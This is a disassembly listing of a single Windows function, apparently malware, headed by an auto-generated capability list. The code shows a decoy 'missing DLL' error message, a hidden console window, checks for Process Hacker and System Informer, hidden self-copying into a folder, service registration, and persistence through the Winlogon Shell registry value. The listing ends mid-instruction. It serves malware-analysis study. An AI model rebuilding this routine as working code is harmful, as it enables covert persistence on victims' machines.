Function at 0x14000a8c0
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get file attributes
Get token membership
Hide graphical window
Persist via winlogon helper dll registry key
Set file attributes
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x550]
sub rsp, 0x650
mov rax, qword [0x140018040]
xor rax, rsp
mov qword [rbp + 0x540], rax
xor r12d, r12d
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_SetConsoleCP]
call fcn.1400058e0
test al, al
je 0x14000a940
lea r9d, [r12 + 0x10]
lea r8, str.System_Error
lea rdx, str.The_program_cant_start_because_MSVCP140.dll_is_missing_from_your_computer._Try_reinstalling_the_program_to_fix_this_problem.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [r12 + 1]
jmp 0x14000b7fc
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
movups xmmword [rbp + 0x90], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xa0], xmm1
lea r8d, [rax + 0x11]
lea rdx, str.processhacker.exe
lea rcx, [rbp + 0x90]
call fcn.1400085f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xc0], xmm1
mov r8d, send
lea rdx, str.systeminformer.exe
lea rcx, [rbp + 0xb0]
call fcn.1400085f0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0xe0], xmm1
mov r8d, recv
lea rdx, str.LpSysLtdS.exe
lea rcx, [rbp + 0xd0]
call fcn.1400085f0
nop
lea rax, [rbp + 0x90]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0xf0]
mov qword [rbp - 0x28], rax
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x70]
call fcn.140006300
nop
lea r9, [fcn.140001e00]
mov edx, 0x20
lea r8d, [rdx - 0x1d]
lea rcx, [rbp + 0x90]
call fcn.14000dff8
mov dword [rbp - 0x80], r12d
mov dword [rbp - 0x7c], 0
mov word [rbp - 0x78], 0x500
lea rax, [rbp - 0x30]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x38], r12d
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x220
mov r8d, 0x20
mov dl, 2
lea rcx, [rbp - 0x7c]
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x14000aa9f
lea r8, [rbp - 0x80]
mov rdx, qword [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14000aa95
mov dword [rbp - 0x80], r12d
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x23]
xor ecx, ecx
cmp dword [rbp - 0x80], ecx
je 0x14000b021
lea rax, [rbp + 0x120]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp], r12
mov qword [rbp + 8], r12
movups xmmword [rbp - 0x10], xmm0
test eax, eax
js 0x14000ab04
lea rax, [rbp + 0x120]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000aaf0
lea rdx, [rbp + 0x120]
jmp 0x14000ab0e
xor r8d, r8d
lea rdx, [0x14001116c]
lea rcx, [rbp - 0x10]
call fcn.1400085f0
nop
mov r8d, 0x104
lea rdx, [rbp + 0x330]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], r12
lea rax, [rbp + 0x330]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000ab43
mov r8, rbx
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 0x10]
call fcn.1400085f0
nop
lea r8, str.YourAppFolder_
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x30]
call fcn.14000cbb0
nop
lea r8, str.YourAppName.exe
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x50]
call fcn.14000cbb0
nop
mov dl, 1
lea rcx, [rbp + 0x70]
call fcn.14000d1f0
cmp qword [rbp], 0
je 0x14000aeda
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000abcc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000aeda
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], 7
cmova rcx, qword [rbp - 0x30]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
lea r9, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova r9, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x20]
cmp rdx, qword [rbp - 0x40]
jne 0x14000ac39
mov r8, rdx
test rdx, rdx
je 0x14000ad09
sub r9, rcx
nop word [rax + rax]
movzx eax, word [rcx + r9]
cmp ax, word [rcx]
jne 0x14000ac39
add rcx, 2
sub r8, 1
jne 0x14000ac20
jmp 0x14000ad09
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000ac73
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000ac73
lea rdx, str.Failed_to_delete_existing_file._Error:
jmp 0x14000acd5
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rdx, qword [rbp - 0x50]
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova rcx, qword [rbp + 0x10]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000acce
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x50]
call fcn.14000a5b0
xor edx, edx
lea rcx, [rbp + 0x70]
call fcn.14000d1f0
jmp 0x14000aeda
lea rdx, str.Failed_to_copy_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400079c0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 7
cmova rcx, qword [rbp - 0x50]
lea r8, [rbp + 0x10]
cmp qword [rbp + 0x28], 7
cmova r8, qword [rbp + 0x10]
cmp rdx, qword [rbp - 0x40]
jne 0x14000aeda
test rdx, rdx
je 0x14000ad58
sub r8, rcx
nop word [rax + rax]
movzx eax, word [rcx + r8]
cmp ax, word [rcx]
jne 0x14000aeda
add rcx, 2
sub rdx, 1
jne 0x14000ad40
lea rax, str.SimpleTimeLoggerService
mov qword [rbp + 0x100], rax
lea rax, [0x14000b840]
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x118], r12
lea rcx, [rbp + 0x100]
call qword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherW]
test eax, eax
jne 0x14000aeda
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
lea r8d, [rax + 0x2b]
lea rdx, str.Failed_to_start_service_control_dispatcher.
lea rcx, [rsp + 0x60]
call fcn.1400089c0
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x120]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0x120]
call fcn.14000c7c0
nop
cmp qword [rbp + 0x1a8], 0
je 0x14000ae40
lea rdx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0xf
cmova rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x70]
lea rcx, [rbp + 0x120]
call fcn.14000a330
lea rdx, str._Error:
mov rcx, rax
call fcn.140007be0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007f80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x120], rax
mov rax, qword [rbp + 0x120]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x11c], edx
lea rcx, [rbp + 0x128]
call fcn.14000c6e0
lea rcx, [rbp + 0x130]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x1c8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000aeda
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000aed4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000aed4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e310
nop
mov rdx, qword [rbp - 0x38]
cmp rdx, 7
jbe 0x14000af1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000af18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000af18
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e310
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r12w
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x14000af71
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000af6c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000af6c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e310
movdqa xmm0, xmmword [0x140011e40]
movdqu xmmword [rbp - 0x20], xmm0
mov word [rbp - 0x30], r12w
mov rdx, qword [rbp + 0x28]
cmp rdx, 7
jbe 0x14000afc6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000afc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000afc1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e310
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 7
mov word [rbp + 0x10], r12w
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000b7f1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b7eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b7eb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rax, [rbp + 0x330]
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov rbx, 0xffffffffffffffff
xorps xmm0, xmm0
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x68], r12
movups xmmword [rbp + 0x50], xmm0
test eax, eax
js 0x14000b074
lea rax, [rbp + 0x330]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000b060
lea rdx, [rbp + 0x330]
jmp 0x14000b07e
xor r8d, r8d
lea rdx, [0x14001116c]
lea rcx, [rbp + 0x50]
call fcn.1400085f0
nop
mov r8d, 0x104
lea rdx, [rbp + 0x120]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], r12
lea rax, [rbp + 0x120]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000b0b3
mov r8, rbx
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x30]
call fcn.1400085f0
nop
lea r8, str.YourAppFolder_
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x10]
call fcn.14000cbb0
nop
lea r8, str.YourAppName.exe
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x70]
call fcn.14000cbb0
nop
cmp qword [rbp + 0x60], 0
je 0x14000b692
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000b131
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x14000b692
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], 7
cmova rcx, qword [rbp - 0x10]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
lea r9, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova r9, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x40]
mov r10, qword [rbp - 0x60]
cmp rdx, r10
jne 0x14000b19b
mov r8, rdx
test rdx, rdx
je 0x14000b69a
sub r9, rcx
movzx eax, word [rcx + r9]
cmp ax, word [rcx]
jne 0x14000b19b
add rcx, 2
sub r8, 1
jne 0x14000b182
jmp 0x14000b69a
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000b256
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000b256
lea rdx, str.Failed_to_delete_existing_file._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400079c0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x14000b6f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b6ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b6ee
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rdx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rdx, qword [rbp - 0x70]
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova rcx, qword [rbp + 0x30]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x14000b686
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
mov edx, 6
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [rbp + 0x90], WSAGetLastError
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000b355
lea rdx, str.Failed_to_create_process._Error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400079c0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14000b369
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rbp - 0x60]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, rsi
cmp rax, 0xf
jb 0x14000b838
lea r15, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova r15, qword [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
lea r14, [rsi + 0xf]
mov ebx, 7
lea rdi, [rsp + 0x60]
cmp r14, rbx
jbe 0x14000b451
mov rbx, r14
or rbx, 7
cmp rbx, rcx
jbe 0x14000b3dc
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x14000b40b
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x14000b82c
add rcx, rcx
cmp rcx, 0x1000
jb 0x14000b43a
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14000b82c
mov rcx, rax
call fcn.14000dfbc
test rax, rax
je 0x14000b433
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14000b44c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x14000b449
call fcn.14000dfbc
mov rdi, rax
jmp 0x14000b44c
mov rdi, r12
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rbx
movups xmm0, xmmword [0x140011b10]
movups xmmword [rdi], xmm0
movsd xmm0, qword [0x140011b20]
movsd qword [rdi + 0x10], xmm0
mov eax, dword [0x140011b28]
mov dword [rdi + 0x18], eax
movzx eax, word [0x140011b2c]
mov word [rdi + 0x1c], ax
lea rcx, [rdi + 0x1e]
lea r8, [rsi + rsi]
mov rdx, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + r14*2], r12w
lea rdx, [0x140011b0c]
lea rcx, [rsp + 0x60]
call fcn.1400073d0
xorps xmm0, xmm0
movups xmmword [rbp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x110], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x100], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x110], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 7
mov word [rax], r12w
mov rdx, qword [rsp + 0x78]
cmp rdx, 7
jbe 0x14000b52b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b526
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b526
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e310
movdqa xmm0, xmmword [0x140011e40]
movdqu xmmword [rsp + 0x70], xmm0
mov word [rsp + 0x60], r12w
lea rax, [rbp - 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000b5d9
mov eax, dword [rbp + 0x110]
lea eax, [rax*2 + 2]
lea rcx, [rbp + 0x100]
cmp qword [rbp + 0x118], 7
cmova rcx, qword [rbp + 0x100]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Shell
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ebx, eax
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
jne 0x14000b5d0
lea rdx, str.Shell_value_in_the_registry_has_been_successfully_updated.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
jmp 0x14000b61e
lea rdx, str.Failed_to_set_registry_value__error:
jmp 0x14000b5e0
lea rdx, str.Failed_to_open_registry_key__error:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400079c0
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
lea rdx, [0x140007ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, str.Unable_to_set_Shell_value_in_the_registry._Make_sure_you_have_administrator_privileges.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.14000cd40
lea rdx, [0x140007ba0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 7
jbe 0x14000b20c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b67c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b67c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e310
jmp 0x14000b20c
lea rdx, str.Failed_to_copy_file._Error:
jmp 0x14000b1db
mov rdx, qword [rbp + 0x40]
mov r10, qword [rbp - 0x60]
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], 7
cmova rcx, qword [rbp - 0x70]
lea r8, [rbp + 0x30]
cmp qword [rbp + 0x48], 7
cmova r8, qword [rbp + 0x30]
cmp rdx, r10
jne 0x14000b20c
test rdx, rdx
je 0x14000b832
sub r8, rcx
nop dword [rax + rax]
movzx eax, word [r8 + rcx]
cmp ax, word [rcx]
jne 0x14000b20c
add rcx, 2
sub rdx, 1
je 0x14000b832
jmp 0x14000b6d0
call fcn.14000e310
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r12w
mov rdx, qword [rbp + 8]
cmp rdx, 7
jbe 0x14000b747
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b742
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b742
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e310
movdqa xmm0, xmmword [0x140011e40]
movdqu xmmword [rbp], xmm0
mov word [rbp - 0x10], r12w
mov rdx, qword [rbp + 0x48]
cmp rdx, 7
jbe 0x14000b79c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b797
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000b797
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000e310
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x48], 7
mov word [rbp + 0x30], r12w
mov rdx, qword [rbp + 0x68]
cmp rdx, 7
jbe 0x14000b7f1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b7eb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
